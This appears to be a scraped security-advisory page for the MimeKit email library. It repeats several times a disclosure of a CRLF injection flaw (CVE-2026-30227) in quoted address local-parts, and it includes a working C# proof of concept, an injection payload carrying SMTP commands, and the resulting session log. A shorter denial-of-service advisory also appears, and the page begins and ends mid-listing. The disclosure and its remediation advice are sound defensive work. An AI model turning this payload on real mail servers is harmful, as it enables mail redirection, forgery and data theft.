var headerFrom = new MailboxAddress("Sender", "kc1zs4@poc.send.com");
var headerTo = new MailboxAddress("Recipient", "kc1zs4@poc.recv.com");

var message = new MimeMessage();
message.From.Add(headerFrom);
message.To.Add(headerTo);
message.Subject = "mimekit CRLF injection poc";
message.Body = new TextPart("plain") { Text = "Hello from MimeKit 4.15.0" };

try {
    using var protocolLogger = new ProtocolLogger(logPath);
    using var client = new SmtpClient(protocolLogger);

    var socketOption = useTls ? SecureSocketOptions.StartTls : SecureSocketOptions.None;
    client.Connect(smtpHost, smtpPort, socketOption);

    client.Send(FormatOptions.Default, message, envelopeFrom, new[] { envelopeRcpt });
    client.Disconnect(true);

    Console.WriteLine("[+] successfully send mail");
    Console.WriteLine($"[+] view smtp session log at: {logPath}");

} catch (SmtpCommandException ex) {

    Console.Error.WriteLine($"[!] smtp cmd err: {ex.StatusCode} - {ex.Message}");
    Console.Error.WriteLine($"[!] view smtp session log at: {logPath}");
    Environment.ExitCode = 1;

} catch (SmtpProtocolException ex) {

    Console.Error.WriteLine($"[!] smtp protocol err: {ex.Message}");
    Console.Error.WriteLine($"[!] view smtp session log at: {logPath}");
    Environment.ExitCode = 1;

} catch (Exception ex) {

    Console.Error.WriteLine($"[!] unknown err: {ex.Message}");
    Console.Error.WriteLine($"[!] view smtp session log at: {logPath}");
    Environment.ExitCode = 1;
}

Expected result

MailboxAddress accepts the injected addr-spec containing CRLF inside the quoted local-part because it relies on quoted-string skipping that does not reject CR/LF.
The generated SMTP session (captured by ProtocolLogger) shows the MAIL FROM line being split by the injected CRLF, followed by attacker-controlled SMTP commands.
tcpdump also shows the same raw SMTP stream (optional confirmation).

Example (illustrative) excerpt from smtp session log showing the CRLF injection effect:

Connected to smtp://xxx.xxx.xxx.xxx:25/
S: 220 xxx Axigen ESMTP ready
C: EHLO KC1zs4-TPt14p
S: 250-xxx Axigen ESMTP hello
S: 250-PIPELINING
S: 250-AUTH PLAIN LOGIN CRAM-MD5 DIGEST-MD5 GSSAPI
S: 250-AUTH=PLAIN LOGIN CRAM-MD5 DIGEST-MD5 GSSAPI
S: 250-8BITMIME
S: 250-SIZE 10485760
S: 250-HELP
S: 250 OK
C: MAIL FROM:<"attack
C: RSET
C: MAIL FROM:<kc1zs4@poc.send.com>
C: RCPT TO:<xxx@xxx.xxx.xxx.xxx>
C: DATA
C: .
C: QUIT
C: here"@poc.send.com> SIZE=293
C: RCPT TO:<"kc1zs4"@poc.recv.com>
S: 553 Invalid mail address
S: 250 Reset done
S: 250 Sender accepted
S: 250 Recipient accepted
S: 354 Ready to receive data; remember <CRLF>.<CRLF>
S: 250 Mail queued for delivery
S: 221-xxx Axigen ESMTP is closing connection
S: 221 Good bye
C: RSET

Notes:

Whether the server executes the injected commands depends on server-side parsing/validation and SMTP pipeline state, but the client-side behavior (emitting CRLF into SMTP command stream via MailboxAddress) is sufficient to demonstrate the vulnerability class and protocol non-compliance.
SMTP commands are terminated by <CRLF>, so CRLF-in-argument is structurally hazardous by design.

Impact

Vulnerability class:

SMTP command injection / CRLF injection via envelope address (MAIL FROM / RCPT TO).
Protocol non-compliance with RFC 5321 local-part grammar for quoted-string (CR/LF not allowed).

Who is impacted:

Any application using MimeKit/MailKit to send email over SMTP where mailbox addresses are influenced by untrusted input (e.g., user-supplied “From” address, tenant-configurable sender identity, inbound-to-outbound forwarding rules, contact imports, webhook-driven mail sending, etc.).

Potential consequences:

Add or modify SMTP recipients by injecting extra RCPT TO commands (mail redirection / data exfiltration).
Corrupt the SMTP transaction state (RSET, NOOP, etc.) or attempt early DATA injection (server-dependent).
In some environments, may enable header injection if the attacker can pivot from envelope manipulation into message content workflows (application-dependent).
Logging/auditing evasion or misleading audit trails if the SMTP transcript is altered by injected command boundaries.

Suggested remediation (high level):

Reject \r and \n in local-part (and ideally anywhere) when parsing/constructing mailbox addresses used for SMTP envelopes.
Align quoted local-part parsing with RFC 5321’s qtextSMTP and quoted-pairSMTP ranges (no control characters).

Affected versions


          0.10.0


          0.10.1


          0.11.0


          0.12.0


          0.13.0


          0.14.0


          0.15.0


          0.16.0


          0.17.0


          0.18.0


          0.19.0


          0.20.0

+ 181 more


            0.21.0


            0.23.0


            0.24.0


            0.25.0


            0.26.0


            0.27.0


            0.28.0


            0.29.0


            0.30.0


            0.31.0


            0.32.0


            0.33.0


            0.34.0


            0.35.0


            0.36.0


            0.37.0


            0.38.0


            0.39.0


            0.40.0


            0.41.0


            0.42.0


            0.43.0


            0.43.0.1


            0.5.0


            0.6.0


            0.7.0


            0.7.1


            0.8.0


            0.9.0


            0.90.0


            0.91.0


            0.92.0


            0.93.0


            0.94.0


            0.95.0


            0.96.0


            0.97.0


            1.0.0


            1.0.1


            1.0.10


            1.0.11


            1.0.12


            1.0.13


            1.0.14


            1.0.15


            1.0.2


            1.0.3


            1.0.4


            1.0.5


            1.0.6


            1.0.6.1


            1.0.7


            1.0.8


            1.0.9


            1.10.0


            1.10.1


            1.12.0


            1.14.0


            1.14.1


            1.16.0


            1.16.1


            1.16.2


            1.18.0


            1.18.1


            1.2.0


            1.2.1


            1.2.10


            1.2.11


            1.2.12


            1.2.13


            1.2.14


            1.2.15


            1.2.16


            1.2.17


            1.2.17.1


            1.2.17.2


            1.2.17.3


            1.2.18


            1.2.18.1


            1.2.19


            1.2.2


            1.2.20


            1.2.20.1


            1.2.20.2


            1.2.21


            1.2.22


            1.2.23


            1.2.24


            1.2.25


            1.2.3


            1.2.4


            1.2.5


            1.2.5.1


            1.2.6


            1.2.7


            1.2.8


            1.2.9


            1.20.0


            1.22.0


            1.3.0-beta1


            1.3.0-beta2


            1.3.0-beta3


            1.3.0-beta4


            1.3.0-beta5


            1.3.0-beta6


            1.3.0-beta7


            1.3.0-rc1


            1.4.0


            1.4.1


            1.4.2


            1.6.0


            1.8.0


            2.0.0


            2.0.1


            2.0.2


            2.0.3


            2.0.4


            2.0.5


            2.0.6


            2.0.7


            2.1.0


            2.1.1


            2.1.2


            2.1.3


            2.1.4


            2.1.5


            2.1.5.1


            2.10.0


            2.10.1


            2.11.0


            2.12.0


            2.13.0


            2.14.0


            2.15.0


            2.15.1


            2.2.0


            2.3.0


            2.3.1


            2.3.2


            2.4.0


            2.4.0.1


            2.4.1


            2.5.0


            2.5.1


            2.5.2


            2.6.0


            2.7.0


            2.8.0


            2.9.0


            2.9.1


            2.9.2


            3.0.0


            3.0.0-preview1


            3.1.0


            3.1.1


            3.2.0


            3.3.0


            3.4.0


            3.4.1


            3.4.2


            3.4.3


            3.5.0


            3.6.0


            3.6.1


            4.0.0


            4.1.0


            4.10.0


            4.11.0


            4.12.0


            4.13.0


            4.14.0


            4.15.0


            4.2.0


            4.3.0


            4.4.0


            4.5.0


            4.6.0


            4.7.0


            4.7.1


            4.8.0


            4.9.0

Fixed in


          4.15.1

References

Updated Mar 06, 2026 · Source: OSV.dev

GHSA-gmc6-fwg3-75m5 Jul 11, 2024

Mimekit has vulnerable dependency that can lead to denial of service

High

Network Low None None

Summary

Denial of service vulnerability.

Details

See: https://github.com/advisories/GHSA-447r-wph3-92pm and https://github.com/dotnet/announcements/issues/312

PoC

Update System.Security.Cryptography.Pkcs to 8.0.1 so that the transitive dependency with the issue gets updated

Impact

Denial of service vulnerability. Affects MimeKit (>= v3.0.0 and <= v4.7.0) when used to decrypt or verify incoming S/MIME messages as well as importing 3rd-party X.509 certificates for use with encrypting outgoing S/MIME messages.

Affected versions


          3.0.0


          3.1.0


          3.1.1


          3.2.0


          3.3.0


          3.4.0


          3.4.1


          3.4.2


          3.4.3


          3.5.0


          3.6.0


          3.6.1

+ 8 more


            4.0.0


            4.1.0


            4.2.0


            4.3.0


            4.4.0


            4.5.0


            4.6.0


            4.7.0

Fixed in


          4.7.1

References

Updated Nov 29, 2024 · Source: OSV.dev

Aug 18, 2022

3.3.0 minor

2 CVEs

CVE-2026-30227 GHSA-g7hc-96xr-gvvx Mar 05, 2026

MimeKit has CRLF Injection in Quoted Local-Part that Enables SMTP Command Injection and Email Forgery

Medium

Network Low None None

Summary

A CRLF Injection vulnerability in MimeKit 4.15.0 allows an attacker to embed \r\n into the SMTP envelope address local-part (when the local-part is a quoted-string). This is non-compliant with RFC 5321 and can result in SMTP command injection (e.g., injecting additional RCPT TO / DATA / RSET commands) and/or mail header injection, depending on how the application uses MailKit/MimeKit to construct and send messages. The issue becomes exploitable when the attacker can influence a MailboxAddress (MAIL FROM / RCPT TO) value that is later serialized to an SMTP session.

RFC 5321 explicitly defines the SMTP mailbox local-part grammar and does not permit CR (13) or LF (10) inside Quoted-string (qtextSMTP and quoted-pairSMTP ranges exclude control characters). SMTP commands are terminated by <CRLF>, making CRLF injection in command arguments particularly dangerous.

Details

1) RFC 5321 local-part grammar prohibits CR/LF in quoted-string

RFC 5321 defines:

mail = "MAIL FROM:" Reverse-path [SP Mail-parameters] CRLF

Reverse-path = Path / "<>"
Path         = "<" [ A-d-l ":" ] Mailbox ">"
A-d-l        = At-domain *( "," At-domain )
At-domain    = "@" Domain

Mailbox         = Local-part "@" ( Domain / address-literal )
Local-part      = Dot-string / Quoted-string

Dot-string      = Atom *("." Atom)
Atom            = 1*atext
atext = ALPHA / DIGIT / 
        "!" / "#" / "$" / "%" / "&" / "'" / "*" / "+" / "-" / "/" / 
        "=" / "?" / "^" / "_" / "`" / "{" / "|" / "}" / "~"


Quoted-string   = DQUOTE *QcontentSMTP DQUOTE
QcontentSMTP    = qtextSMTP / quoted-pairSMTP
quoted-pairSMTP = %d92 %d32-126
qtextSMTP       = %d32-33 / %d35-91 / %d93-126

When the local part is a quoted string, the characters and are not allowed.

2) MimeKit 4.15.0 accepts CR/LF inside quoted local-part (non-compliant)

In the MimeKit 4.15.0 version, when parsing the local part, the and characters in the double-quoted form will not be detected. As a result, MailboxAddress can accept addresses like "attacker\r\nRCPT TO:<victim@target>\r\n"@example.com as a valid address.

3) Affected components / versions

MimeKit 4.15.0 (as tested)
MailKit 4.15.0 uses/depends on MimeKit 4.15.0 Any application that:
Accepts untrusted input for sender/recipient addresses, and
Constructs MailboxAddress from that input, and
Sends via SMTP (e.g., using MailKit SmtpClient), may be impacted.

PoC

Environment:

.NET SDK: 8.0.418
Target Framework: net8.0
Packages: MailKit 4.15.0 (with MimeKit 4.15.0)
Use ProtocolLogger to capture the SMTP session and confirm injection.

Create a minimal project:

mimekit_poc.csproj

<Project Sdk="Microsoft.NET.Sdk">

  <PropertyGroup>
    <OutputType>Exe</OutputType>
    <TargetFramework>net8.0</TargetFramework>
    <ImplicitUsings>enable</ImplicitUsings>
    <Nullable>enable</Nullable>
  </PropertyGroup>

  <ItemGroup>
    <PackageReference Include="MailKit" Version="4.15.0" />
  </ItemGroup>
</Project>

PoC program (replace SMTP host/port/address as needed):

using MailKit.Net.Smtp;
using MailKit.Security;
using MailKit;
using MimeKit;

// === payload and target setting ===

var smtpHost = "xx.xx.xx.xx";
var smtpPort = 25;
var useTls = false;
// attack in `MAIL FROM` cmd with address grammar in double quote 
var payloadEvilMailFromInput = "\"attack\r\nRSET\r\nMAIL FROM:<kc1zs4@poc.send.com>\r\nRCPT TO:<xxx@xxx.xxx.xxx.xxx>\r\nDATA\r\n.\r\nQUIT\r\nhere\"@poc.send.com";
// log in log/smtp_log_{yyyyMMdd_HHmmss_fff}.txt
var logDir = Path.Combine(AppContext.BaseDirectory, "log");
Directory.CreateDirectory(logDir);
var timestamp = DateTime.Now.ToString("yyyyMMdd_HHmmss_fff");
var logPath = Path.Combine(logDir, $"smtp_log_{timestamp}");


// === below smtp session ===
// mimekit api

var envelopeFrom = new MailboxAddress("", payloadEvilMailFromInput);
var envelopeRcpt = new MailboxAddress("", "\"kc1zs4\"@poc.recv.com");
var headerFrom = new MailboxAddress("Sender", "kc1zs4@poc.send.com");
var headerTo = new MailboxAddress("Recipient", "kc1zs4@poc.recv.com");

var message = new MimeMessage();
message.From.Add(headerFrom);
message.To.Add(headerTo);
message.Subject = "mimekit CRLF injection poc";
message.Body = new TextPart("plain") { Text = "Hello from MimeKit 4.15.0" };

try {
    using var protocolLogger = new ProtocolLogger(logPath);
    using var client = new SmtpClient(protocolLogger);

    var socketOption = useTls ? SecureSocketOptions.StartTls : SecureSocketOptions.None;
    client.Connect(smtpHost, smtpPort, socketOption);

    client.Send(FormatOptions.Default, message, envelopeFrom, new[] { envelopeRcpt });
    client.Disconnect(true);

    Console.WriteLine("[+] successfully send mail");
    Console.WriteLine($"[+] view smtp session log at: {logPath}");

} catch (SmtpCommandException ex) {

    Console.Error.WriteLine($"[!] smtp cmd err: {ex.StatusCode} - {ex.Message}");
    Console.Error.WriteLine($"[!] view smtp session log at: {logPath}");
    Environment.ExitCode = 1;

} catch (SmtpProtocolException ex) {

    Console.Error.WriteLine($"[!] smtp protocol err: {ex.Message}");
    Console.Error.WriteLine($"[!] view smtp session log at: {logPath}");
    Environment.ExitCode = 1;

} catch (Exception ex) {

    Console.Error.WriteLine($"[!] unknown err: {ex.Message}");
    Console.Error.WriteLine($"[!] view smtp session log at: {logPath}");
    Environment.ExitCode = 1;
}

Expected result

MailboxAddress accepts the injected addr-spec containing CRLF inside the quoted local-part because it relies on quoted-string skipping that does not reject CR/LF.
The generated SMTP session (captured by ProtocolLogger) shows the MAIL FROM line being split by the injected CRLF, followed by attacker-controlled SMTP commands.
tcpdump also shows the same raw SMTP stream (optional confirmation).

Example (illustrative) excerpt from smtp session log showing the CRLF injection effect:

Connected to smtp://xxx.xxx.xxx.xxx:25/
S: 220 xxx Axigen ESMTP ready
C: EHLO KC1zs4-TPt14p
S: 250-xxx Axigen ESMTP hello
S: 250-PIPELINING
S: 250-AUTH PLAIN LOGIN CRAM-MD5 DIGEST-MD5 GSSAPI
S: 250-AUTH=PLAIN LOGIN CRAM-MD5 DIGEST-MD5 GSSAPI
S: 250-8BITMIME
S: 250-SIZE 10485760
S: 250-HELP
S: 250 OK
C: MAIL FROM:<"attack
C: RSET
C: MAIL FROM:<kc1zs4@poc.send.com>
C: RCPT TO:<xxx@xxx.xxx.xxx.xxx>
C: DATA
C: .
C: QUIT
C: here"@poc.send.com> SIZE=293
C: RCPT TO:<"kc1zs4"@poc.recv.com>
S: 553 Invalid mail address
S: 250 Reset done
S: 250 Sender accepted
S: 250 Recipient accepted
S: 354 Ready to receive data; remember <CRLF>.<CRLF>
S: 250 Mail queued for delivery
S: 221-xxx Axigen ESMTP is closing connection
S: 221 Good bye
C: RSET

Notes:

Whether the server executes the injected commands depends on server-side parsing/validation and SMTP pipeline state, but the client-side behavior (emitting CRLF into SMTP command stream via MailboxAddress) is sufficient to demonstrate the vulnerability class and protocol non-compliance.
SMTP commands are terminated by <CRLF>, so CRLF-in-argument is structurally hazardous by design.

Impact

Vulnerability class:

SMTP command injection / CRLF injection via envelope address (MAIL FROM / RCPT TO).
Protocol non-compliance with RFC 5321 local-part grammar for quoted-string (CR/LF not allowed).

Who is impacted:

Any application using MimeKit/MailKit to send email over SMTP where mailbox addresses are influenced by untrusted input (e.g., user-supplied “From” address, tenant-configurable sender identity, inbound-to-outbound forwarding rules, contact imports, webhook-driven mail sending, etc.).

Potential consequences:

Add or modify SMTP recipients by injecting extra RCPT TO commands (mail redirection / data exfiltration).
Corrupt the SMTP transaction state (RSET, NOOP, etc.) or attempt early DATA injection (server-dependent).
In some environments, may enable header injection if the attacker can pivot from envelope manipulation into message content workflows (application-dependent).
Logging/auditing evasion or misleading audit trails if the SMTP transcript is altered by injected command boundaries.

Suggested remediation (high level):

Reject \r and \n in local-part (and ideally anywhere) when parsing/constructing mailbox addresses used for SMTP envelopes.
Align quoted local-part parsing with RFC 5321’s qtextSMTP and quoted-pairSMTP ranges (no control characters).

Affected versions


          0.10.0


          0.10.1


          0.11.0


          0.12.0


          0.13.0


          0.14.0


          0.15.0


          0.16.0


          0.17.0


          0.18.0


          0.19.0


          0.20.0

+ 181 more


            0.21.0


            0.23.0


            0.24.0


            0.25.0


            0.26.0


            0.27.0


            0.28.0


            0.29.0


            0.30.0


            0.31.0


            0.32.0


            0.33.0


            0.34.0


            0.35.0


            0.36.0


            0.37.0


            0.38.0


            0.39.0


            0.40.0


            0.41.0


            0.42.0


            0.43.0


            0.43.0.1


            0.5.0


            0.6.0


            0.7.0


            0.7.1


            0.8.0


            0.9.0


            0.90.0


            0.91.0


            0.92.0


            0.93.0


            0.94.0


            0.95.0


            0.96.0


            0.97.0


            1.0.0


            1.0.1


            1.0.10


            1.0.11


            1.0.12


            1.0.13


            1.0.14


            1.0.15


            1.0.2


            1.0.3


            1.0.4


            1.0.5


            1.0.6


            1.0.6.1


            1.0.7


            1.0.8


            1.0.9


            1.10.0


            1.10.1


            1.12.0


            1.14.0


            1.14.1


            1.16.0


            1.16.1


            1.16.2


            1.18.0


            1.18.1


            1.2.0


            1.2.1


            1.2.10


            1.2.11


            1.2.12


            1.2.13


            1.2.14


            1.2.15


            1.2.16


            1.2.17


            1.2.17.1


            1.2.17.2


            1.2.17.3


            1.2.18


            1.2.18.1


            1.2.19


            1.2.2


            1.2.20


            1.2.20.1


            1.2.20.2


            1.2.21


            1.2.22


            1.2.23


            1.2.24


            1.2.25


            1.2.3


            1.2.4


            1.2.5


            1.2.5.1


            1.2.6


            1.2.7


            1.2.8


            1.2.9


            1.20.0


            1.22.0


            1.3.0-beta1


            1.3.0-beta2


            1.3.0-beta3


            1.3.0-beta4


            1.3.0-beta5


            1.3.0-beta6


            1.3.0-beta7


            1.3.0-rc1


            1.4.0


            1.4.1


            1.4.2


            1.6.0


            1.8.0


            2.0.0


            2.0.1


            2.0.2


            2.0.3


            2.0.4


            2.0.5


            2.0.6


            2.0.7


            2.1.0


            2.1.1


            2.1.2


            2.1.3


            2.1.4


            2.1.5


            2.1.5.1


            2.10.0


            2.10.1


            2.11.0


            2.12.0


            2.13.0


            2.14.0


            2.15.0


            2.15.1


            2.2.0


            2.3.0


            2.3.1


            2.3.2


            2.4.0


            2.4.0.1


            2.4.1


            2.5.0


            2.5.1


            2.5.2


            2.6.0


            2.7.0


            2.8.0


            2.9.0


            2.9.1


            2.9.2


            3.0.0


            3.0.0-preview1


            3.1.0


            3.1.1


            3.2.0


            3.3.0


            3.4.0


            3.4.1


            3.4.2


            3.4.3


            3.5.0


            3.6.0


            3.6.1


            4.0.0


            4.1.0


            4.10.0


            4.11.0


            4.12.0


            4.13.0


            4.14.0


            4.15.0


            4.2.0


            4.3.0


            4.4.0


            4.5.0


            4.6.0


            4.7.0


            4.7.1


            4.8.0


            4.9.0

Fixed in


          4.15.1

References

Updated Mar 06, 2026 · Source: OSV.dev

GHSA-gmc6-fwg3-75m5 Jul 11, 2024

Mimekit has vulnerable dependency that can lead to denial of service

High

Network Low None None

Summary

Denial of service vulnerability.

Details

See: https://github.com/advisories/GHSA-447r-wph3-92pm and https://github.com/dotnet/announcements/issues/312

PoC

Update System.Security.Cryptography.Pkcs to 8.0.1 so that the transitive dependency with the issue gets updated

Impact

Denial of service vulnerability. Affects MimeKit (>= v3.0.0 and <= v4.7.0) when used to decrypt or verify incoming S/MIME messages as well as importing 3rd-party X.509 certificates for use with encrypting outgoing S/MIME messages.

Affected versions


          3.0.0


          3.1.0


          3.1.1


          3.2.0


          3.3.0


          3.4.0


          3.4.1


          3.4.2


          3.4.3


          3.5.0


          3.6.0


          3.6.1

+ 8 more


            4.0.0


            4.1.0


            4.2.0


            4.3.0


            4.4.0


            4.5.0


            4.6.0


            4.7.0

Fixed in


          4.7.1

References

Updated Nov 29, 2024 · Source: OSV.dev

Jun 11, 2022

3.2.0 minor

2 CVEs

CVE-2026-30227 GHSA-g7hc-96xr-gvvx Mar 05, 2026

MimeKit has CRLF Injection in Quoted Local-Part that Enables SMTP Command Injection and Email Forgery

Medium

Network Low None None

Summary

A CRLF Injection vulnerability in MimeKit 4.15.0 allows an attacker to embed \r\n into the SMTP envelope address local-part (when the local-part is a quoted-string). This is non-compliant with RFC 5321 and can result in SMTP command injection (e.g., injecting additional RCPT TO / DATA / RSET commands) and/or mail header injection, depending on how the application uses MailKit/MimeKit to construct and send messages. The issue becomes exploitable when the attacker can influence a MailboxAddress (MAIL FROM / RCPT TO) value that is later serialized to an SMTP session.

RFC 5321 explicitly defines the SMTP mailbox local-part grammar and does not permit CR (13) or LF (10) inside Quoted-string (qtextSMTP and quoted-pairSMTP ranges exclude control characters). SMTP commands are terminated by <CRLF>, making CRLF injection in command arguments particularly dangerous.

Details

1) RFC 5321 local-part grammar prohibits CR/LF in quoted-string

RFC 5321 defines:

mail = "MAIL FROM:" Reverse-path [SP Mail-parameters] CRLF

Reverse-path = Path / "<>"
Path         = "<" [ A-d-l ":" ] Mailbox ">"
A-d-l        = At-domain *( "," At-domain )
At-domain    = "@" Domain

Mailbox         = Local-part "@" ( Domain / address-literal )
Local-part      = Dot-string / Quoted-string

Dot-string      = Atom *("." Atom)
Atom            = 1*atext
atext = ALPHA / DIGIT / 
        "!" / "#" / "$" / "%" / "&" / "'" / "*" / "+" / "-" / "/" / 
        "=" / "?" / "^" / "_" / "`" / "{" / "|" / "}" / "~"


Quoted-string   = DQUOTE *QcontentSMTP DQUOTE
QcontentSMTP    = qtextSMTP / quoted-pairSMTP
quoted-pairSMTP = %d92 %d32-126
qtextSMTP       = %d32-33 / %d35-91 / %d93-126

When the local part is a quoted string, the characters and are not allowed.

2) MimeKit 4.15.0 accepts CR/LF inside quoted local-part (non-compliant)

In the MimeKit 4.15.0 version, when parsing the local part, the and characters in the double-quoted form will not be detected. As a result, MailboxAddress can accept addresses like "attacker\r\nRCPT TO:<victim@target>\r\n"@example.com as a valid address.

3) Affected components / versions

MimeKit 4.15.0 (as tested)
MailKit 4.15.0 uses/depends on MimeKit 4.15.0 Any application that:
Accepts untrusted input for sender/recipient addresses, and
Constructs MailboxAddress from that input, and
Sends via SMTP (e.g., using MailKit SmtpClient), may be impacted.

PoC

Environment:

.NET SDK: 8.0.418
Target Framework: net8.0
Packages: MailKit 4.15.0 (with MimeKit 4.15.0)
Use ProtocolLogger to capture the SMTP session and confirm injection.

Create a minimal project:

mimekit_poc.csproj

<Project Sdk="Microsoft.NET.Sdk">

  <PropertyGroup>
    <OutputType>Exe</OutputType>
    <TargetFramework>net8.0</TargetFramework>
    <ImplicitUsings>enable</ImplicitUsings>
    <Nullable>enable</Nullable>
  </PropertyGroup>

  <ItemGroup>
    <PackageReference Include="MailKit" Version="4.15.0" />
  </ItemGroup>
</Project>

PoC program (replace SMTP host/port/address as needed):

using MailKit.Net.Smtp;
using MailKit.Security;
using MailKit;
using MimeKit;

// === payload and target setting ===

var smtpHost = "xx.xx.xx.xx";
var smtpPort = 25;
var useTls = false;
// attack in `MAIL FROM` cmd with address grammar in double quote 
var payloadEvilMailFromInput = "\"attack\r\nRSET\r\nMAIL FROM:<kc1zs4@poc.send.com>\r\nRCPT TO:<xxx@xxx.xxx.xxx.xxx>\r\nDATA\r\n.\r\nQUIT\r\nhere\"@poc.send.com";
// log in log/smtp_log_{yyyyMMdd_HHmmss_fff}.txt
var logDir = Path.Combine(AppContext.BaseDirectory, "log");
Directory.CreateDirectory(logDir);
var timestamp = DateTime.Now.ToString("yyyyMMdd_HHmmss_fff");
var logPath = Path.Combine(logDir, $"smtp_log_{timestamp}");


// === below smtp session ===
// mimekit api

var envelopeFrom = new MailboxAddress("", payloadEvilMailFromInput);
var envelopeRcpt = new MailboxAddress("", "\"kc1zs4\"@poc.recv.com");
var headerFrom = new MailboxAddress("Sender", "kc1zs4@poc.send.com");
var headerTo = new MailboxAddress("Recipient", "kc1zs4@poc.recv.com");

var message = new MimeMessage();
message.From.Add(headerFrom);
message.To.Add(headerTo);
message.Subject = "mimekit CRLF injection poc";
message.Body = new TextPart("plain") { Text = "Hello from MimeKit 4.15.0" };

try {
    using var protocolLogger = new ProtocolLogger(logPath);
    using var client = new SmtpClient(protocolLogger);

    var socketOption = useTls ? SecureSocketOptions.StartTls : SecureSocketOptions.None;
    client.Connect(smtpHost, smtpPort, socketOption);

    client.Send(FormatOptions.Default, message, envelopeFrom, new[] { envelopeRcpt });
    client.Disconnect(true);

    Console.WriteLine("[+] successfully send mail");
    Console.WriteLine($"[+] view smtp session log at: {logPath}");

} catch (SmtpCommandException ex) {

    Console.Error.WriteLine($"[!] smtp cmd err: {ex.StatusCode} - {ex.Message}");
    Console.Error.WriteLine($"[!] view smtp session log at: {logPath}");
    Environment.ExitCode = 1;

} catch (SmtpProtocolException ex) {

    Console.Error.WriteLine($"[!] smtp protocol err: {ex.Message}");
    Console.Error.WriteLine($"[!] view smtp session log at: {logPath}");
    Environment.ExitCode = 1;

} catch (Exception ex) {

    Console.Error.WriteLine($"[!] unknown err: {ex.Message}");
    Console.Error.WriteLine($"[!] view smtp session log at: {logPath}");
    Environment.ExitCode = 1;
}

Expected result

MailboxAddress accepts the injected addr-spec containing CRLF inside the quoted local-part because it relies on quoted-string skipping that does not reject CR/LF.
The generated SMTP session (captured by ProtocolLogger) shows the MAIL FROM line being split by the injected CRLF, followed by attacker-controlled SMTP commands.
tcpdump also shows the same raw SMTP stream (optional confirmation).

Example (illustrative) excerpt from smtp session log showing the CRLF injection effect:

Connected to smtp://xxx.xxx.xxx.xxx:25/
S: 220 xxx Axigen ESMTP ready
C: EHLO KC1zs4-TPt14p
S: 250-xxx Axigen ESMTP hello
S: 250-PIPELINING
S: 250-AUTH PLAIN LOGIN CRAM-MD5 DIGEST-MD5 GSSAPI
S: 250-AUTH=PLAIN LOGIN CRAM-MD5 DIGEST-MD5 GSSAPI
S: 250-8BITMIME
S: 250-SIZE 10485760
S: 250-HELP
S: 250 OK
C: MAIL FROM:<"attack
C: RSET
C: MAIL FROM:<kc1zs4@poc.send.com>
C: RCPT TO:<xxx@xxx.xxx.xxx.xxx>
C: DATA
C: .
C: QUIT
C: here"@poc.send.com> SIZE=293
C: RCPT TO:<"kc1zs4"@poc.recv.com>
S: 553 Invalid mail address
S: 250 Reset done
S: 250 Sender accepted
S: 250 Recipient accepted
S: 354 Ready to receive data; remember <CRLF>.<CRLF>
S: 250 Mail queued for delivery
S: 221-xxx Axigen ESMTP is closing connection
S: 221 Good bye
C: RSET

Notes:

Whether the server executes the injected commands depends on server-side parsing/validation and SMTP pipeline state, but the client-side behavior (emitting CRLF into SMTP command stream via MailboxAddress) is sufficient to demonstrate the vulnerability class and protocol non-compliance.
SMTP commands are terminated by <CRLF>, so CRLF-in-argument is structurally hazardous by design.

Impact

Vulnerability class:

SMTP command injection / CRLF injection via envelope address (MAIL FROM / RCPT TO).
Protocol non-compliance with RFC 5321 local-part grammar for quoted-string (CR/LF not allowed).

Who is impacted:

Any application using MimeKit/MailKit to send email over SMTP where mailbox addresses are influenced by untrusted input (e.g., user-supplied “From” address, tenant-configurable sender identity, inbound-to-outbound forwarding rules, contact imports, webhook-driven mail sending, etc.).

Potential consequences:

Add or modify SMTP recipients by injecting extra RCPT TO commands (mail redirection / data exfiltration).
Corrupt the SMTP transaction state (RSET, NOOP, etc.) or attempt early DATA injection (server-dependent).
In some environments, may enable header injection if the attacker can pivot from envelope manipulation into message content workflows (application-dependent).
Logging/auditing evasion or misleading audit trails if the SMTP transcript is altered by injected command boundaries.

Suggested remediation (high level):

Reject \r and \n in local-part (and ideally anywhere) when parsing/constructing mailbox addresses used for SMTP envelopes.
Align quoted local-part parsing with RFC 5321’s qtextSMTP and quoted-pairSMTP ranges (no control characters).

Affected versions


          0.10.0


          0.10.1


          0.11.0


          0.12.0


          0.13.0


          0.14.0


          0.15.0


          0.16.0


          0.17.0


          0.18.0


          0.19.0


          0.20.0

+ 181 more


            0.21.0


            0.23.0


            0.24.0


            0.25.0


            0.26.0


            0.27.0


            0.28.0


            0.29.0


            0.30.0


            0.31.0


            0.32.0


            0.33.0


            0.34.0


            0.35.0


            0.36.0


            0.37.0


            0.38.0


            0.39.0


            0.40.0


            0.41.0


            0.42.0


            0.43.0


            0.43.0.1


            0.5.0


            0.6.0


            0.7.0


            0.7.1


            0.8.0


            0.9.0


            0.90.0


            0.91.0


            0.92.0


            0.93.0


            0.94.0


            0.95.0


            0.96.0


            0.97.0


            1.0.0


            1.0.1


            1.0.10


            1.0.11


            1.0.12


            1.0.13


            1.0.14


            1.0.15


            1.0.2


            1.0.3


            1.0.4


            1.0.5


            1.0.6


            1.0.6.1


            1.0.7


            1.0.8


            1.0.9


            1.10.0


            1.10.1


            1.12.0


            1.14.0


            1.14.1


            1.16.0


            1.16.1


            1.16.2


            1.18.0


            1.18.1


            1.2.0


            1.2.1


            1.2.10


            1.2.11


            1.2.12


            1.2.13


            1.2.14


            1.2.15


            1.2.16


            1.2.17


            1.2.17.1


            1.2.17.2


            1.2.17.3


            1.2.18


            1.2.18.1


            1.2.19


            1.2.2


            1.2.20


            1.2.20.1


            1.2.20.2


            1.2.21


            1.2.22


            1.2.23


            1.2.24


            1.2.25


            1.2.3


            1.2.4


            1.2.5


            1.2.5.1


            1.2.6


            1.2.7


            1.2.8


            1.2.9


            1.20.0


            1.22.0


            1.3.0-beta1


            1.3.0-beta2


            1.3.0-beta3


            1.3.0-beta4


            1.3.0-beta5


            1.3.0-beta6


            1.3.0-beta7


            1.3.0-rc1


            1.4.0


            1.4.1


            1.4.2


            1.6.0


            1.8.0


            2.0.0


            2.0.1


            2.0.2


            2.0.3


            2.0.4


            2.0.5


            2.0.6


            2.0.7


            2.1.0


            2.1.1


            2.1.2


            2.1.3


            2.1.4


            2.1.5


            2.1.5.1


            2.10.0


            2.10.1


            2.11.0


            2.12.0


            2.13.0


            2.14.0


            2.15.0


            2.15.1


            2.2.0


            2.3.0


            2.3.1


            2.3.2


            2.4.0


            2.4.0.1


            2.4.1


            2.5.0


            2.5.1


            2.5.2


            2.6.0


            2.7.0


            2.8.0
